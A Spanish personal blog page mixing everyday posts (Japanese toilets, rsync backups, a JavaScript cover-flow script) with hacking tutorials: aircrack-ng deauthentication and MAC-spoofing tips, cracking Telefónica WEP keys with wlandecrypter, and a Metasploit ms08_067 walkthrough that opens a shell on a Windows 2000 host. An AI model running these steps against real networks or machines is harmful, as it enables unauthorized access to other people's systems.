Premio de consolación PepinismoHa llegado el premio de consolación por haber participado en el concurso de la Nintendo DSi LL organizado por Pepinismo, fruto de haber (ellos) ganado a su vez el premio al mejor vídeo en el concurso Fit’s. Y el vídeo que les hizo ganadores del premio a Karawapo y Micaela: 02-04-2010 | Vida Social El "Water saludador"A los waters japoneses hay que darles de comer a parte. Su evolución se distanció de la nuestra hace ya muchos años, y mientras nosotros seguimos sin saber cómo usarlos sin salpicar por todo el baño, los japoneses los han perfeccionado y dotado de características hasta tal punto que el Sr. Roca es ya un miembro más de la familia.
Nota: Chiho me ha dicho que el botón de la hamburguesa doble y los del lamen son en realidad para subir y bajar las tazas del water. Exacto, sé lo que estáis pensando, ¡qué sabrá ella de waters de hombres! 28-02-2010 | Vida Social "El modo vibrador está matando la música" (vía @palomisimo)Cada día aparecen inventos que abren un abanico de nuevas posibilidades. Lo interesante es que a cualquiera de nosotros se nos puede ocurrir, de repente te pasa algo por la cabeza pero te dices -¡vaya tontería!. A veces en lugar de eso te haces la pregunta del millón: -¿y por qué no?, y ahí es donde nacen las cosas. ![]()
La mayor chorrada jamas programada
Una tarde de principios, mediados o finales de los 90 cuando me pasaba días enteros programando en BASIC (cosa que antes me parecía normal y ahora un lujo para unos pocos, el programar todo el día, no el BASIC) se me ocurrió hacer un generador de frases aleatorias a partir de estructuras sencillas y varios puñados de frases en DATAs. ![]()
Cualquier parecido con la realidad es un puro BUG. 10-12-2009 | PHP Problemas de un Rsync de EXT3 a FAT32Tratando de hacer un backup con Rsync de una unidad en EXT3 a un disco duro USB en FAT32 he podido apreciar que en el backup siempre faltan archivos y que Rsync siempre copia de nuevo todo el contenido incluso cuando no ha habido cambios. $ rsync -av --modify-window=1 /misDatos /media/discoUSB/ En estos casos se recomienda que el disco duro USB esté en formato EXT3, con lo que no solo no hará falta nada de todo esto sino que además el backup mantendrá intactos los permisos. $ df S.ficheros Bloques de 1K Usado Dispon Uso% Montado en /dev/sda1 477770292 448053764 5447136 99% / tmpfs 511984 0 511984 0% /lib/init/rw varrun 511984 104 511880 1% /var/run varlock 511984 0 511984 0% /var/lock udev 511984 2768 509216 1% /dev tmpfs 511984 1116 510868 1% /dev/shm lrm 511984 2004 509980 1% /lib/modules/2.6.27-14-generic/volatile /dev/sdc1 1464778368 385243648 1079534720 27% /media/discoUSB En mi caso el disco duro USB es el último del listado (sdc1) discoUSB. $sudo umount /media/discoUSB Y formateamos en EXT3 $sudo mkfs.ext3 /dev/sdc1
mke2fs 1.41.3 (12-Oct-2008)
Etiqueta del sistema de ficheros=
Tipo de SO: Linux
Tamaño del bloque=4096 (bitácora=2)
Tamaño del fragmento=4096 (bitácora=2)
91578368 nodos-i, 366284000 bloques
18314200 bloques (5.00%) reservados para el superusuario
Primer bloque de datos=0
Número máximo de bloques del sistema de ficheros=0
11179 bloque de grupos
32768 bloques por grupo, 32768 fragmentos por grupo
8192 nodos-i por grupo
Respaldo del superbloque guardado en los bloques:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968,
102400000, 214990848
Escribiendo las tablas de nodos-i: hecho
Creating journal (32768 blocks): hecho
Escribiendo superbloques y la información contable del sistema de ficheros: hecho
Este sistema de ficheros se revisará automáticamente cada 33 montajes o
180 días, lo que suceda primero. Utilice tune2fs -c o -i para cambiarlo.Finalmente personalizamos el nombre del disco, en mi caso lo llamaré "Backup" sudo e2label /dev/sdc1 Backup Hay que tener en cuenta que no todos los sistemas operativos pueden trabajar con unidades en EXT2 o 3 por lo que lamentablemente hay veces en que no queda más remedio que hacer uso de los trucos arriba indicados. 16-08-2009 | Linux Campus Party 2009¡Ya estamos aquí un año más! 01-03-2009 | Vida Social Respuestas a preguntas típicas sobre WIFI![]() Corriendo el riesgo de caer en la monotemática voy a volver a hablar de redes WIFI. Esta vez estoy aquí para responder brevemente a algunas de las preguntas que nos hemos hecho todos durante esos domingos de captura intensiva de paquetes. ¿Es posible capturar paquetes de distintos canales al mismo tiempo?No, o al menos con tarjetas atheros. Creía haber leído que con tarjetas Intel sí lo era pero no he conseguido encontrar ningún sitio que lo confirme. ¿Cómo proceder con los ESSID ocultos?Cuando ejecutamos Kismet o Airodump podemos ver como algunos APs aparecen con el ESSID oculto o en su lugar aparece la cadena "lenght: 0". En estos casos no está todo perdido. Hay dos maneras sencillas de obtener el ESSID. aireplay-ng -0 5 -a 00:00:00:00:00:00 -c 00:00:00:00:00:00 ath0 donde la primera MAC correspondería al AP y la segunda al de un cliente conectado a ese mismo AP. Las MACs podemos verlas con airodump o usando el comando C si estamos utilizando Kismet. ¿Cómo actuar contra el filtrado por MAC?Es una práctica habitual y poco efectiva definir una tabla de MACs en el router con la idea de limitar el acceso a la red a unos equipos concretos, pretendiendo así excluir al resto. En estos casos, la manera de entrar a la red es sencilla y consiste en abrir airodump y esperar a que un cliente se conecte al AP. Esto nos permitirá ver la MAC del cliente que se encuentra entre las permitidas. Tan solo quedará cambiarnos nuestra MAC por la del cliente y lanzarle a este un ataque deauth, con lo que él saldrá y entrarás tú. ifconfig ath0 down ifconfig ath0 hw ether 00:00:0E:AD:BE:EF ifconfig ath0 up Con lo que nuestra MAC de ath0 cambiaría a 00:00:0E:AD:BE:EF. ¿Cómo utilizar Aircrack con varios archivos .CAP?En los casos en que tengamos que obtener los paquetes en distintas sesiones podemos decirle a aircrack que los utilice todos juntos para resolver la contraseña. aircrack-ng archivo1.cap archivo2.cap Otra opción sería unificar todos los archivos en uno solo: aircrack-ng -w archivoresultante.cap archivo1.cap archivo2.cap ¿Problemas al autenticarse?Cuando necesitamos generar tráfico hemos de empezar por autenticarnos al AP (aireplay-ng -1 0...). Un problema común es no poder hacerlo porque el método de autenticación del AP es de clave compartida (Shared Key Authentication) en lugar de abierta (Open System Authentication). En estos casos necesitamos un archivo PRGA xor válido, pero vayamos por partes. En primer lugar hemos de averiguar si el método de autenticación es abierto o no, y esto lo hacemos ejecutamos airodump-ng y fijándonos en la columna AUTH. Si para el AP que estamos buscando la columna AUTH dice "OPN" es que nos encontramos ante una autenticación abierta, de lo contrario una de clave compartida. airodump-ng -c 6 ?bssid 00:00:00:00:00:00 -w clavecompartida ath0 Estos parámetros indicarán a airodump permanecer a la espera de la clave compartida en el canal 6, para el AP con MAC 00:00:00:00:00:00 y guardarla en un archivo con el nombre clavecompartida.xor aireplay-ng -0 5 -a 00:00:00:00:00:00 -c 00:00:00:00:00:00 ath0 donde -0 indica deautenticación, 5 el número de peticiones de deautenticación a enviar, la primera MAC corresponde a la del AP, la segunda a la del cliente conectado y ath0 el nombre de nuestro interface. aireplay-ng -1 0 -e WLAN_8K -y clavecompartida-00-00-00-00-00-00-00.xor -a 00:00:00:00:00:00 -h 00:00:00:00:00:00 ath0 donde -1 indica que se trata de una autenticación falsa, 0 que nos autenticamos una sola vez, clavecompartida-00... es el nombre del archivo xor que hemos generado, la primera MAC correspondería a la del AP y la segunda a la nuestra. ¿Problemas reinyectando tráfico?Algunos APs pueden saturarse cuando reinyectamos tráfico o incluso ignorarlo si lo enviamos demasiado rápido. En estos casos es preferible utilizar el parámetro -x de aireplay, especificándo un numero menor de paquetes por segundo. Recomendablemente entre 30 y 50. Diferencias entre WPA1 y WPA2En el 2001, dos años después de la aparición del procolo WEP (Wired Equivalent Privacy), se descubrieron las primeras vulnerabilidades y la Alianza Wi-Fi se puso a trabajar en un sustituto al protocolo, pero no fué hasta 2003 que lanzaron una primera revisión del nuevo protocolo WPA (Wifi Protected Access). En 2004 y ya finalizado se convirtió en el estandar 802.11i. ¿Cómo restablecer la tarjeta de red?Una manera rápida de restablecer la tarjeta de red después de haber parado interfaces, haberlos iniciado en modo monitor o modificado la MAC es reiniciándola con estos sencillos comandos. modprobe -r ath_pci modprobe ath_pci Seguro que vosotros teneis vuestras propias técnicas y la respuesta a muchas otras preguntas. Si quereis compartirlas usando los comentarios del post os estaré eternamente agradecido :D 21-06-2009 | Linux Ojo con las claves WIFI de Telefonica![]() Hace unos días en el taller práctico de seguridad WIFI organizado por AIB hemos podido conocer un sistema más para obtener las contraseñas WEP de los APs o routers de Telefonica. Me estoy refiriendo a los famosos WLAN_xx. Instalar wlandecrypterEn primer lugar descargamos de cualquiera de las webs que recogen esta aplicación una copia para instalar. wget http://www.fileden.com/files/2008/10/11/2138272/wlandecrypter-0.6.tar.gz tar -zxvf wlandecrypter-0.6.tar.gz cd wlandecrypter-0.6/ make $cp wlandecrypter /usr/bin Crear el diccionarioEl diccionario o el listado de claves lo creamos a partir del nombre del AP y su dirección MAC. El nombre del AP es bien fácil de conocer ya que lo vemos directamente en el lístado de redes WIFI disponibles, y está formado por la cadena ´WLAN_´ seguido de dos caracteres. $airmon-ng stop ath0 Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed) $airmon-ng start wifi0 Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled) ...y ejecutamos airodump-ng para descubrir las redes con sus correspondientes direcciones MAC. $airodump-ng ath0 Hecho esto veremos las redes WIFI a nuestro alrededor junto con la MAC y el tipo de encriptación de cada una de ellas. $wlandecrypter 20:33:64:30:50:13 WLAN_K7 diccionario
wlandecrypter 0.6 - (c) 2006 nilp0inter2k6_at_gmail.com
------------> Actualizado por *dudux <------------
http://www.seguridadwireless.net
[+] BSSID: 20:33:64:30:50:13
[+] Modelo: P-660HW-D1
[+] ESSID: WLAN_K7
[+] Fichero de claves: diccionario
[+] Fichero guardadoCon esto ya tenemos creado un archivo de texto llamado "diccionario" y cuyo contenido son todas y cada una de las contraseñas posibles. Capturar tráficoEs el momento de capturar algunos paquetes de la red, para lo que usaremos de nuevo airodump-ng indicando esta vez la MAC y el nombre del archivo en el que queremos que almacene los paquetes. $airodump-ng --bssid 00:13:49:95:A3:73 -w captura --channel 7 ath0 Una vez veamos que la columna #Data contempla algunos paquetes podremos interrumpir airodump. Un par de paquetes ya será suficiente. CH 7 ][ Elapsed: 8 s ][ 2009-06-13 00:25
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
20:33:64:30:50:13 8 7 47 0 7 54. WEP WEP WLAN_K7
BSSID STATION PWR Rate Lost Packets Probes
22:35:12:41:12:23 00:2E:61:17:61:44 10 11-11 372 51Obtener la contraseña WEPHemos creado la tabla de contraseñas con Wlandecrypter y capturado tráfico con airodump-ng, así que estamos en disposición de ejecutar aircrack para dar con la contraseña correcta. $aircrack-ng -w diccionario captura-01.cap -K
[00:00:32] Tested 48157 keys (got 22 IVs)
KB depth byte(vote)
0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
KEY FOUND! [ 1A:21:32:43:54:65:76:87:98:39:43:43:46 ] (ASCII: XXXXXXXXXXXXX )
Decrypted correctly: 100%Y ahí la tenemos. La clave del AP obtenida en cuestión de segundos (sí, la he ocultado a drede!). 13-06-2009 | Linux Hackeando como en las películas![]()
Identificando al protagonistaEl protagonista de nuestra película se encuentra en algún punto de la red y vamos a descubrirlo escaneándola con NMAP. e indicando el rango de Ips. juansa@compiuta:~$ nmap 192.168.1.1-255 Starting Nmap 4.62 ( http://nmap.org ) at 2009-06-02 22:37 CEST Interesting ports on 192.168.1.1: Not shown: 1710 filtered ports PORT STATE SERVICE 20/tcp closed ftp-data 21/tcp closed ftp 23/tcp closed telnet 80/tcp open http 1723/tcp open pptp Interesting ports on 192.168.1.102: Not shown: 1713 closed ports PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds Interesting ports on 192.168.1.109: Not shown: 1704 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 307/tcp filtered unknown 315/tcp filtered dpsi 445/tcp open microsoft-ds 507/tcp filtered crs 817/tcp filtered unknown 1025/tcp open NFS-or-IIS 1400/tcp filtered cadkey-tablet 2048/tcp filtered dls-monitor 2301/tcp filtered compaqdiag Nmap done: 255 IP addresses (3 hosts up) scanned in 135.113 seconds juansa@compiuta:~$ Como puede apreciarse NMAP ha devuelto tres resultados. El primero (192.168.1.1) corresponde al router, el segundo es mi propio equipo (192.168.1.102) y el tercero nuestra víctima (192.168.1.109). Preparando el ataqueEjecutamos Metasploit. juansa@compiuta:~$ cd /opt/MSF/trunk/ juansa@compiuta:/opt/MSF/trunk$ ./msfconsole Habiendo decidido el puerto queda por saber el exploit que usaremos. Consultando la documentación de Metasploit vemos que para el puerto 445/tcp existen varios exploits. También puede verse una lista de los exploits disponibles por medio del comando show exploits. En mi caso me quedaré con el siguiente: windows/smb/ms08_067_netapi. msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > Ahora seleccionamos el payload que inyectaremos. Podemos ver los payloads compatibles con el exploit seleccionado con el comando show payloads. msf exploit(ms08_067_netapi) > show payloads Compatible payloads =================== Name Description ---- ----------- generic/debug_trap Generic x86 Debug Trap generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager (IPv6) generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP Stager (No NX Support) generic/debug_trap/bind_tcp Generic x86 Debug Trap, Bind TCP Stager ... msf exploit(ms08_067_netapi) > La lista es bien grande, así que solo he mostrado los tres primeros payloads. Seleccionaremos el payload windows/shell_bind_tcp, que nos abre una shell. msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp payload => windows/shell_bind_tcp msf exploit(ms08_067_netapi) > Ahora nos queda ver el resto de parámetros necesarios antes de ejecutar el ataque. Para ello tenemos el comando show options msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/shell_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > Podemos ver como de todos los parametros a introducir tan solo hace falta especificar uno: RHOST que como bien se indica corresponde a la IP de la víctima (the target address). Indiquémoslo. msf exploit(ms08_067_netapi) > set RHOST 192.168.1.109 RHOST => 192.168.1.109 msf exploit(ms08_067_netapi) > ¡Ejecutando el ataque!Victima identificada, parámetros establecidos... lo tenemos todo. Ya solo nos queda ejecutar el ataque. Mirad que fácil. msf exploit(ms08_067_netapi) > exploit [*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows 2000 - lang:Spanish [*] Selected Target: Windows 2000 Universal [*] Triggering the vulnerability... [*] Command shell session 1 opened (192.168.1.102:40535 -> 192.168.1.109:4444) Microsoft Windows 2000 [Versión 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32> Y aquí lo teneis, el shell de Windows 2000 a nuestra disposición! 03-06-2009 | Linux jsFlow: Cover Flow para Javascript![]() Imagen capturada de jsFlow. Buscando la manera de conseguir el efecto cover flow he encontrado desde aplicaciones en PHP y Javascript hasta tutoriales para hacerlo manualmente en Photoshop o Flash. En mi caso necesito obtener el cover flow de una imagen en tiempo real, por lo que he descartado cualquier método a golpe de ratón. Con flash cada vez me hablo menos y por otro lado dejarle la carga del proceso al servidor es algo que quería evitar, así que la única opción posible era Javascript.
Veamos algunos ejemplosEl siguiente script muestra jsFlow en funcionamiento. Pulsando sobre cada uno de los botones se ejecuta la función jsFlow variando el ángulo. ![]()
¿Cómo funciona jsFlow?Para los más curiosos paso a explicar el modo de trabajo de jsFlow.
// Definimos la función jsFlow
function jsFlow(idImage,reflection,light,angle,deep,imageSource){
/*
Si no se ha especificado una imagen de origen alternativa (imageSource) usaremos la misma que haya en idImage.
Cargamos en memoria la imagen, y creamos un canvas o lienzo que usaremos para trabajar la imagen.
*/
imageSource=(!imageSource)?idImage:imageSource;
var image = document.getElementById(imageSource);
var reflexCanvas = document.createElement("canvas");
var reflexCanvasContext = reflexCanvas.getContext("2d");
/*
Obtenemos el tamaño de la imagen y le asignamos el mismo a nuestro canvas haciéndolo más alto para que
podamos dibujar el reflejo.
*/
var w = image.width;
var h = image.height;
reflexCanvas.width = w;
reflexCanvas.height = h + reflection;
/*
Convertimos el parámetro angle expresado en grados a radianes y calculamos el ancho con el que veremos la imagen.
*/
radianes = ((90+angle) * (Math.PI/180));
w2 = Math.abs(parseInt(Math.sin(radianes)*w));
/*
Copiamos la imagen en el canvas, aplicamos la compresión tal, que nos de la imagen del ancho calculado anteriormente y obtenemos una matriz de los datos para poder trabajar la imagen.
*/
reflexCanvasContext.drawImage(image,0,0,w,h,0,0,w2,h);
var imageData = reflexCanvasContext.getImageData(0,0, w, h+reflection);
/*
Aplicamos el reflejo leyendo los píxeles de la parte inferior de la imagen y escribiéndolos bajo esta, respetando el color y aplicando el canal alfa correspondiente a la luz indicada en el parámetro light.
En la matriz cada pixel viene expresado por 4 valores: Rojo, Verde, Azul y Alfa, por lo que multiplicamos por 4 para obtener el pixel de cada coordenada.
*/
for (y = 0; y <= reflection; y++){
for (x = 0; x <= w2; x++){
origen = (w*(h-y)+x)*4; // = ((h-y)*4)*w+(x*4)
destino = (w*(h+y)+x)*4; // = ((h+y)*4)*w+(x*4)
imageData.data[destino] = imageData.data[origen];
imageData.data[destino+1] = imageData.data[origen+1];
imageData.data[destino+2] = imageData.data[origen+2];
imageData.data[destino+3] = light-(y*light)/reflection;
}
}
/*
Volcamos la matriz que hemos obtenido en el canvas.
*/
reflexCanvasContext.putImageData(imageData,0,0);
/*
Sustituimos la imagen idImage por el canvas, que contiene la versión comprimida y con reflejo, manteniéndole el mismo Id.
*/
document.getElementById(idImage).parentNode.replaceChild(reflexCanvas,document.getElementById(idImage));
reflexCanvas.id = idImage;
/*
Creamos un nuevo canvas, esta vez para trabajar la perspectiva de la imagen.
*/
var perspectiveCanvas = document.createElement("canvas");
var perspectiveCanvasContext = perspectiveCanvas.getContext("2d");
/*
Asignamos al nuevo canvas el tamaño exacto para contener la imagen con el reflejo que habíamos calculado.
*/
perspectiveCanvas.width = w2;
perspectiveCanvas.height = h + reflection;
/*
Calculamos la posición del extremo opuesto de la imagen teniendo en cuenta el ángulo indicado.
*/
h2 = Math.abs(parseInt (Math.cos(radianes) * deep));
/*
Aplicamos la perspectiva recorriendo la imagen horizontalmente y aplicando la reducción proporcinal de cada columna
*/
for (x = 0; x <= w2; x++){
crop=(x * h2) / w2;
size=h + reflection - crop;
pos=( angle > 90)?w2 - x:x;
perspectiveCanvasContext.drawImage(reflexCanvas,pos,0,1,h+reflection,pos,crop/2,1,size);
}
/*
Sustituimos la imagen calculada por la original manteniéndole el mismo Id.
*/
document.getElementById(idImage).parentNode.replaceChild(perspectiveCanvas,reflexCanvas);
perspectiveCanvas.id = idImage;
}Algunas características de jsFlow:
Y para terminar una sencilla aplicación a modo de ejemplo de jsFlow recorriendo cada ángulo de una imagen, espero que os guste ¡y lo incluyáis en vuestros trabajos! ![]() Descargar jsFlow.js 2.2Kb 28-04-2009 | PHP Tiempos viejunos: Zordao UniverzáOtra super producción, probablemente la última que rodó la secta, resucita de la cinta VHS y salta al mundo digital para asegurarse un futuro mejor en nuestros discos duros. 11-04-2009 | Secta | Feed RSS¿Esto qué es?Un intento de blog. Tengo esa mala costumbre de hacérmelo todo y me he resistido a la tentación de usar blogspot o Wordpress terminando por programarme mi propio blog. Soy así... luego me pasa lo que me pasa. ¿Y por donde paras? |